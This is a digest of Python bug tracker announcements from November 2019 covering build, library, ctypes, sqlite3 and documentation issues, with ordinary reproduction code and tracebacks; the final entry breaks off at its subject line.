From: report at bugs.python.org (=?utf-8?q?Jakub_Piotr_C=C5=82apa?=)
Date: Fri, 08 Nov 2019 11:34:01 +0000
Subject: [New-bugs-announce] [issue38743] configure: on macOS (darwin) add
 CoreFoundation to flags before checking for gettext
Message-ID: <1573212841.11.0.0393862101681.issue38743@roundup.psfhosted.org>


New submission from Jakub Piotr C?apa <jpc at loee.pl>:

macOS needs to link to CoreFoundation for gettext to work. We reorder the autoconf tests so CoreFoundation is added to LIBS earlier and the -lintl test does not fail (which would exclude it from the final set of flags).

Btw. the whole test seems fishy: if compilation fails it does not mean -lintl is not needed, for this we would need to test a gettext function without -lintl. Basically two tests (with and without -lintl) are needed to properly diagnose the situation. The test in question had been written in 2009 as a fix for the https://bugs.python.org/issue6154 bug report.

This may be an issue only with non-Framework builds (since Homebrew manages to build a framework-based Python on macOS without any special shenigans) but I had not tested it.

----------
components: Build
messages: 356237
nosy: Jakub Piotr C?apa
priority: normal
severity: normal
status: open
title: configure: on macOS (darwin) add CoreFoundation to flags before checking for gettext
type: compile error
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38743>
_______________________________________

From report at bugs.python.org  Fri Nov  8 10:00:44 2019
From: report at bugs.python.org (Dmitry Marakasov)
Date: Fri, 08 Nov 2019 15:00:44 +0000
Subject: [New-bugs-announce] [issue38744] python 3.8 hang in
 multiprocessing.Pool() locking on FreeBSD
Message-ID: <1573225244.96.0.151354887911.issue38744@roundup.psfhosted.org>


New submission from Dmitry Marakasov <amdmi3 at amdmi3.ru>:

System: FreeBSD 12.0-RELEASE, amd64.

This simple program

    from multiprocessing import Pool
    from time import sleep

    Pool().map(sleep, [0.01] * 10)

works fine with python 3.7, but is likely (about 20-50% probability on my 4 core box) to hang with python 3.8. Example backtraces after interruption:

% python3.8 1.py
^CException ignored in: <Finalize object, dead>
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/multiprocessing/util.py", line 201, in __call__
Process ForkPoolWorker-2:
Process ForkPoolWorker-4:
    res = self._callback(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 689, in _terminate_pool
    cls._help_stuff_finish(inqueue, task_handler, len(pool))
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 674, in _help_stuff_finish
    inqueue._rlock.acquire()
KeyboardInterrupt: 
Process ForkPoolWorker-3:
Process ForkPoolWorker-1:

% python3.8 1.py
^CException ignored in: <Finalize object, dead>
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/multiprocessing/util.py", line 201, in __call__
Process ForkPoolWorker-3:
Process ForkPoolWorker-4:
Process ForkPoolWorker-1:
    res = self._callback(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 689, in _terminate_pool
    cls._help_stuff_finish(inqueue, task_handler, len(pool))
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 674, in _help_stuff_finish
    inqueue._rlock.acquire()
KeyboardInterrupt: 
Process ForkPoolWorker-2:

% python3.8 1.py
^CException ignored in: <Finalize object, dead>
Process ForkPoolWorker-2:
Process ForkPoolWorker-3:
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/multiprocessing/util.py", line 201, in __call__
Process ForkPoolWorker-1:
    res = self._callback(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 689, in _terminate_pool
    cls._help_stuff_finish(inqueue, task_handler, len(pool))
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 674, in _help_stuff_finish
Traceback (most recent call last):
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 313, in _bootstrap
    self.run()
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 313, in _bootstrap
    self.run()
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 114, in worker
    task = get()
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 114, in worker
    task = get()
  File "/usr/local/lib/python3.8/multiprocessing/queues.py", line 355, in get
    with self._rlock:
  File "/usr/local/lib/python3.8/multiprocessing/queues.py", line 355, in get
    with self._rlock:
  File "/usr/local/lib/python3.8/multiprocessing/synchronize.py", line 95, in __enter__
    return self._semlock.__enter__()
  File "/usr/local/lib/python3.8/multiprocessing/synchronize.py", line 95, in __enter__
    return self._semlock.__enter__()
KeyboardInterrupt
KeyboardInterrupt
    inqueue._rlock.acquire()
KeyboardInterrupt: 
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 313, in _bootstrap
    self.run()
  File "/usr/local/lib/python3.8/multiprocessing/process.py", line 108, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.8/multiprocessing/pool.py", line 114, in worker
    task = get()
  File "/usr/local/lib/python3.8/multiprocessing/queues.py", line 356, in get
    res = self._reader.recv_bytes()
  File "/usr/local/lib/python3.8/multiprocessing/connection.py", line 216, in recv_bytes
    buf = self._recv_bytes(maxlength)
  File "/usr/local/lib/python3.8/multiprocessing/connection.py", line 414, in _recv_bytes
    buf = self._recv(4)
  File "/usr/local/lib/python3.8/multiprocessing/connection.py", line 379, in _recv
    chunk = read(handle, remaining)
KeyboardInterrupt
Process ForkPoolWorker-4:

Related issue in FreeBSD bugzilla: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=241801

----------
components: Library (Lib)
messages: 356243
nosy: AMDmi3
priority: normal
severity: normal
status: open
title: python 3.8 hang in multiprocessing.Pool() locking on FreeBSD
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38744>
_______________________________________

From report at bugs.python.org  Fri Nov  8 10:12:57 2019
From: report at bugs.python.org (Suresh Murugesan)
Date: Fri, 08 Nov 2019 15:12:57 +0000
Subject: [New-bugs-announce] [issue38745] pygame install error using python
 3.8.0
Message-ID: <1573225977.18.0.894104496168.issue38745@roundup.psfhosted.org>


New submission from Suresh Murugesan <sayhelloby6am at gmail.com>:

I tried to install pygame, using pip install pygame, on my windows 10 running python 3.8.0. But it fails with the following error messages

Can you please help. I read on the internet that 3.8 is not stable yet for pygame. Is it true?

   ERROR: Command errored out with exit status 1:
     command: 'c:\users\smuru02\appdata\local\programs\python\python38-32\python.exe' -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\smuru02\\AppData\\Local\\Temp\\pip-install-0yqtpy1n\\pygame\\setup.py'"'"'; __file__='"'"'C:\\Users\\smuru02\\AppData\\Local\\Temp\\pip-install-0yqtpy1n\\pygame\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base 'C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\pip-egg-info'
         cwd: C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\
    Complete output (17 lines):


    WARNING, No "Setup" File Exists, Running "buildconfig/config.py"
    Using WINDOWS configuration...


    Download prebuilts to "prebuilt_downloads" and copy to "./prebuilt-x86"? [Y/n]Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\setup.py", line 194, in <module>
        buildconfig.config.main(AUTO_CONFIG)
      File "C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\buildconfig\config.py", line 210, in main
        deps = CFG.main(**kwds)
      File "C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\buildconfig\config_win.py", line 576, in main
        and download_win_prebuilt.ask(**download_kwargs):
      File "C:\Users\smuru02\AppData\Local\Temp\pip-install-0yqtpy1n\pygame\buildconfig\download_win_prebuilt.py", line 302, in ask
        reply = raw_input(
    EOFError: EOF when reading a line
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

----------
components: Windows
messages: 356244
nosy: paul.moore, pysuresh, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pygame install error using python 3.8.0
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38745>
_______________________________________

From report at bugs.python.org  Fri Nov  8 11:09:16 2019
From: report at bugs.python.org (Mike Raider)
Date: Fri, 08 Nov 2019 16:09:16 +0000
Subject: [New-bugs-announce] [issue38746] HTML5 named character references
 not consistent
Message-ID: <1573229356.22.0.226241995298.issue38746@roundup.psfhosted.org>


New submission from Mike Raider <miker2001 at yahoo.com>:

In the file 
cpython/blob/master/Lib/html/entities.py

the HTML5 named character references (line 264) do not look consistent.

Some references have a semicolon at the end, some not, and some have both variants.

Is there a reason for this?

----------
components: Library (Lib)
messages: 356246
nosy: mikeraider
priority: normal
severity: normal
status: open
title: HTML5 named character references not consistent

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38746>
_______________________________________

From report at bugs.python.org  Fri Nov  8 11:38:28 2019
From: report at bugs.python.org (Marco Sulla)
Date: Fri, 08 Nov 2019 16:38:28 +0000
Subject: [New-bugs-announce] [issue38747] Slowly introduce a subset of
 Jupyter console (IPython) features into CPython command line interactive
 mode
Message-ID: <1573231108.59.0.407559138222.issue38747@roundup.psfhosted.org>


New submission from Marco Sulla <launchpad.net at marco.sulla.e4ward.com>:

Sometimes I?m lazy and I would test code copy - pasted from internet or from other sources directly in the interpreter, in interactive mode. But if the code contains completely blank lines, the copy - paste fails. For example:

def f():
    print("Marco")

    print("Sulla")

does not work, but

def f():
    print("Marco")
    
    print("Sulla")

yes. Notice that in a script the first code block is perfectly valid and works.

This does not happen with Jupiter console, aka IPython. Jupiter implements bracketed paste mode, so it distinguish between normal input and pasted input.

Jupyter offers also:
- autoindent
- save code blocks in one history entry: this way, if you write a function, for example, and you press the up key, the whole function will be loaded, and not its last line.
- auto-reloading of modules. It should be disabled by default and enabled by a flag, and could auto-reload a module if its code changes.
- save code to console. All the code written in the current interactive session could be saved to the clipboard. It could be triggered by F12.
- history: it could be a new built-in function. if called without parameters, it could show the history, with lines numbered. If called with a number, it will paste the corresponding history line to the console
- pretty printing and source inspection. IMHO pprint.pprint() and inspect.getsource() are so useful in interactive mode that could be added to builtins.
- syntax coloring. It should be disabled by default, and could be enabled by a flag or a config.
- bracket matching. See above.

I think that implementing all of this in CPython is really hard. I suppose that maybe many things are not possible for compatibility between platforms, or can't be available everywhere, like syntax coloring.

----------
components: Demos and Tools
messages: 356248
nosy: Marco Sulla
priority: normal
severity: normal
status: open
title: Slowly introduce a subset of Jupyter console (IPython) features into CPython command line interactive mode
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38747>
_______________________________________

From report at bugs.python.org  Fri Nov  8 11:57:34 2019
From: report at bugs.python.org (David Heffernan)
Date: Fri, 08 Nov 2019 16:57:34 +0000
Subject: [New-bugs-announce] [issue38748] 32 bit ctypes stdcall callback
 fails to restore stack pointer
Message-ID: <1573232254.38.0.286098798289.issue38748@roundup.psfhosted.org>


New submission from David Heffernan <david.heff at gmail.com>:

Starting with Python 3.8 certain ctypes callbacks fail to restore the stack pointer.

In the repo below, when the DLL is compiled with MSVC under default debug settings, running the Python script leads to a debug error dialog which says:


Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.


It appears that when the C code calls the callback function, the value of ESP is 4 greater than it should be.

This problem does not occur with older versions of Python.


**DLL code**

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

typedef void (__stdcall *MYCALLBACK)(int, double);

extern "C"
{
    __declspec(dllexport) void __stdcall foo(MYCALLBACK callback)
    {
        callback(1, 11);
        callback(2, 21);
        callback(3, 31);
    }
}

**Python code**

import ctypes
import ctypes.wintypes

def CallbackType(restype, *argtypes):

    def from_param(cls, obj):
        if obj is None:
            return obj
        return ctypes._CFuncPtr.from_param(obj)

    result = ctypes.WINFUNCTYPE(restype, *argtypes)
    result.from_param = classmethod(from_param)
    return result

MYCALLBACK = CallbackType(
    None,
    ctypes.c_int,
    ctypes.c_double
)

def callback(handle, time):
    print(handle, time)
mycallback = MYCALLBACK(callback)

lib = ctypes.WinDLL(r'path\to\dll\foo.dll')
func = getattr(lib, '_foo at 4')
func.restype = None
func.argtypes = MYCALLBACK,
func(mycallback)

----------
components: ctypes
messages: 356249
nosy: David Heffernan
priority: normal
severity: normal
status: open
title: 32 bit ctypes stdcall callback fails to restore stack pointer
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38748>
_______________________________________

From report at bugs.python.org  Fri Nov  8 14:42:25 2019
From: report at bugs.python.org (mike bayer)
Date: Fri, 08 Nov 2019 19:42:25 +0000
Subject: [New-bugs-announce] [issue38749] sqlite3 driver fails on four byte
 unicode strings coming from JSON_EXTRACT
Message-ID: <1573242145.29.0.194342931044.issue38749@roundup.psfhosted.org>


New submission from mike bayer <mike_mp at zzzcomputing.com>:

When using unicode characters inside of JSON strings, values retrieved via the JSON_EXTRACT SQLite function fail to be decoded by the sqlite3 driver if they include four-byte unicode characters.

Version information for my build, which is Fedora 30:

Python 3.7.4 (default, Jul  9 2019, 16:32:37) 
[GCC 9.1.1 20190503 (Red Hat 9.1.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sqlite3
>>> sqlite3.version
'2.6.0'
>>> sqlite3.sqlite_version
'3.26.0'


Demo as follows:

import json
import sqlite3

# two unicode strings, the second one has four byte character in it
good_data = "r?ve ill?"
bad_data = "r?ve? ill?"

# create simple json structures
good_data_json = json.dumps({"foo": good_data})
bad_data_json = json.dumps({"foo": bad_data})

# all strings are valid utf-8
# data round trips correctly through json
assert json.loads(good_data_json.encode("utf-8").decode("utf-8")) == {
    "foo": good_data
}
assert json.loads(bad_data_json.encode("utf-8").decode("utf-8")) == {
    "foo": bad_data
}


conn = sqlite3.connect(":memory:")
cursor = conn.cursor()

cursor.execute("CREATE TABLE some_data (id INT, data JSON)")
cursor.executemany(
    "INSERT INTO some_data(id, data) VALUES(?, ?)",
    [(1, good_data_json), (2, bad_data_json)],
)

# we can retrieve the JSON objects as a whole from the DB, no issue
cursor.execute("SELECT some_data.data FROM some_data ORDER BY id")
assert cursor.fetchall() == [(good_data_json, ), (bad_data_json, )]

# when we use JSON_EXTRACT, then full utf-8 support is lost

# extract good value from JSON object
cursor.execute("""
    SELECT JSON_EXTRACT(some_data.data, '$."foo"')
    FROM some_data WHERE id=1
""")
assert cursor.fetchone()[0] == good_data

# extract bad value from JSON object; utf-8 failure
# sqlite3.OperationalError: Could not decode to UTF-8 column
# 'JSON_EXTRACT(some_data.data, '$."foo"')' with text 'r??ve?????? ill??'
cursor.execute("""
    SELECT JSON_EXTRACT(some_data.data, '$."foo"')
    FROM some_data WHERE id=2
""")
assert cursor.fetchone()[0] == bad_data


output:


Traceback (most recent call last):
  File "test4.py", line 50, in <module>
    """)
sqlite3.OperationalError: Could not decode to UTF-8 column 'JSON_EXTRACT(some_data.data, '$."foo"')' with text 'r??ve?????? ill??'


surprising to say the least as the SQLite driver has always been completely solid with all unicode, but there you go.

----------
components: Library (Lib)
messages: 356257
nosy: zzzeek
priority: normal
severity: normal
status: open
title: sqlite3 driver fails on four byte unicode strings coming from JSON_EXTRACT
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38749>
_______________________________________

From report at bugs.python.org  Fri Nov  8 16:06:11 2019
From: report at bugs.python.org (Pete Wicken)
Date: Fri, 08 Nov 2019 21:06:11 +0000
Subject: [New-bugs-announce] [issue38750] Solve IPv4 categorisation issues
 with the ipaddress module
Message-ID: <1573247171.82.0.693534364371.issue38750@roundup.psfhosted.org>


New submission from Pete Wicken <petewicken at gmail.com>:

As alluded to in issue bpo-38655, the behaviour for getting categorising IPv4 networks is inconsistent with the IANA guideline, which the docs say it follows.

I'm proposing we either change the documentation so that it describes the behaviour that should actually be expected, or we rewrite some parts of the ipaddress module so that they follow the guidelines.

For the latter, my thoughts would be to actually implement the check table on the IANA page (https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml).

i.e for a given address, you can ask of it "is_forwardable", "is_globally_reachable", etc.

----------
messages: 356265
nosy: Wicken
priority: normal
severity: normal
status: open
title: Solve IPv4 categorisation issues with the ipaddress module

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38750>
_______________________________________

From report at bugs.python.org  Fri Nov  8 19:22:59 2019
From: report at bugs.python.org (=?utf-8?b?0JHQvtGA0LjRgSDQktC10YDRhdC+0LLRgdC60LjQuQ==?=)
Date: Sat, 09 Nov 2019 00:22:59 +0000
Subject: [New-bugs-announce] [issue38751] Document maximum JSON depth or
 remove it.
Message-ID: <1573258979.82.0.0958429006244.issue38751@roundup.psfhosted.org>


New submission from ????? ?????????? <boris.verk at gmail.com>:

import json

foo = {}

for i in range(1000):
    json.dumps(foo)
    print(i)
    foo = {'bar': foo}


Will error at 994. At a minimum this magic number should be documented, but it would be better if the json library could handle arbitrarily nested JSON or have a configurable limit.

https://github.com/lovasoa/bad_json_parsers

----------
components: Library (Lib)
messages: 356276
nosy: boris
priority: normal
severity: normal
status: open
title: Document maximum JSON depth or remove it.
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38751>
_______________________________________

From report at bugs.python.org  Fri Nov  8 20:07:28 2019
From: report at bugs.python.org (Sebastian Bevc)
Date: Sat, 09 Nov 2019 01:07:28 +0000
Subject: [New-bugs-announce] [issue38752] __init__ taking out of context
 variables
Message-ID: <1573261648.24.0.116935582519.issue38752@roundup.psfhosted.org>


New submission from Sebastian Bevc <sebastian.bevc at gmail.com>:

Hello,

This is my first bug report. While doing some homework i came to realize that the __init__ of a class was taking out of context variables.

class Foo(object):
  def __init__(self, attr1):
    self.out_of_context = out_of_context


# Raises NameError as it is expected
foo = Foo('some attr')

# 'bar' is bounded to 'out_of_context' although it was initialized
# with value 'some value'
out_of_context = 'bar'
foo = Foo('some value')
print(foo.out_of_context')  # prints 'bar'

----------
components: asyncio
messages: 356277
nosy: asvetlov, sebasbeco, yselivanov
priority: normal
severity: normal
status: open
title: __init__ taking out of context variables
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38752>
_______________________________________

From report at bugs.python.org  Sat Nov  9 01:48:54 2019
From: report at bugs.python.org (John Belmonte)
Date: Sat, 09 Nov 2019 06:48:54 +0000
Subject: [New-bugs-announce] [issue38753] AsyncMock not cited as new in 3.8
Message-ID: <1573282134.53.0.966916153749.issue38753@roundup.psfhosted.org>


New submission from John Belmonte <john at neggie.net>:

AsyncMock appears to be new in Python 3.8, but doc is missing info on when it was introduced.

https://docs.python.org/3.8/library/unittest.mock.html#unittest.mock.AsyncMock

----------
assignee: docs at python
components: Documentation
messages: 356290
nosy: John Belmonte, docs at python
priority: normal
severity: normal
status: open
title: AsyncMock not cited as new in 3.8
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38753>
_______________________________________

From report at bugs.python.org  Sat Nov  9 05:45:59 2019
From: report at bugs.python.org (nerd)
Date: Sat, 09 Nov 2019 10:45:59 +0000
Subject: [New-bugs-announce] [issue38754] Python3.7 site-packages
Message-ID: <1573296359.45.0.502022034855.issue38754@roundup.psfhosted.org>


New submission from nerd <tsgh at riseup.net>:

Everytime I do anything related to updating arch or installing anything python3.7 for some reason really breaks. I've waited over 6 months for a single fix for this and have yet to find a solution to it. I am not a python nerd so idk whats going on here but overall my experience with python has been a total flop. I can actively program and write advanced stuff with it and this is still baffling me. 



warning: could not get file information for usr/lib/python3.7/site-packages/PyGObject-3.34.0.egg-info
warning: could not get file information for usr/lib/python3.7/site-packages/gi/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__init__.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/__init__.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/__init__.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_compat.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_compat.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_constants.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_constants.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_error.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_error.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_gtktemplate.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_gtktemplate.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_option.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_option.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_ossighelper.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_ossighelper.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_propertyhelper.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_propertyhelper.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_signalhelper.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/_signalhelper.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/docstring.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/docstring.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/importer.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/importer.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/module.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/module.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/pygtkcompat.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/pygtkcompat.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/types.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/__pycache__/types.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_compat.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_constants.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_error.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_gi.cpython-37m-x86_64-linux-gnu.so
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_gi_cairo.cpython-37m-x86_64-linux-gnu.so
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_gtktemplate.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_option.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_ossighelper.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_propertyhelper.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/_signalhelper.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/docstring.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/importer.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/module.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/GIMarshallingTests.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/GLib.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/GObject.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/Gdk.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/GdkPixbuf.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/Gio.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/Gtk.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/Pango.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__init__.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GIMarshallingTests.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GIMarshallingTests.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GLib.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GLib.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GObject.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GObject.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gdk.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gdk.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GdkPixbuf.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/GdkPixbuf.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gio.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gio.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gtk.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Gtk.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Pango.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/Pango.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/__init__.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/__init__.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/keysyms.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/__pycache__/keysyms.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/overrides/keysyms.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/pygtkcompat.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/repository/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/repository/__init__.py
warning: could not get file information for usr/lib/python3.7/site-packages/gi/repository/__pycache__/
warning: could not get file information for usr/lib/python3.7/site-packages/gi/repository/__pycache__/__init__.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/repository/__pycache__/__init__.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/gi/types.py
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__init__.py
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/__init__.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/__init__.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/generictreemodel.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/generictreemodel.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/pygtkcompat.cpython-37.opt-1.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/__pycache__/pygtkcompat.cpython-37.pyc
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/generictreemodel.py
warning: could not get file information for usr/lib/python3.7/site-packages/pygtkcompat/pygtkcompat.py





^^^^=https://pastebin.com/iuZWHQse ^^^^

----------
messages: 356293
nosy: twister100
priority: normal
severity: normal
status: open
title: Python3.7 site-packages

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38754>
_______________________________________

From report at bugs.python.org  Sat Nov  9 07:26:48 2019
From: report at bugs.python.org (Andrew Ushakov)
Date: Sat, 09 Nov 2019 12:26:48 +0000
Subject: [New-bugs-announce] [issue38755] Long unicode string causes
 SyntaxError: Non-UTF-8 code starting with '\xe2' in file ..., but no
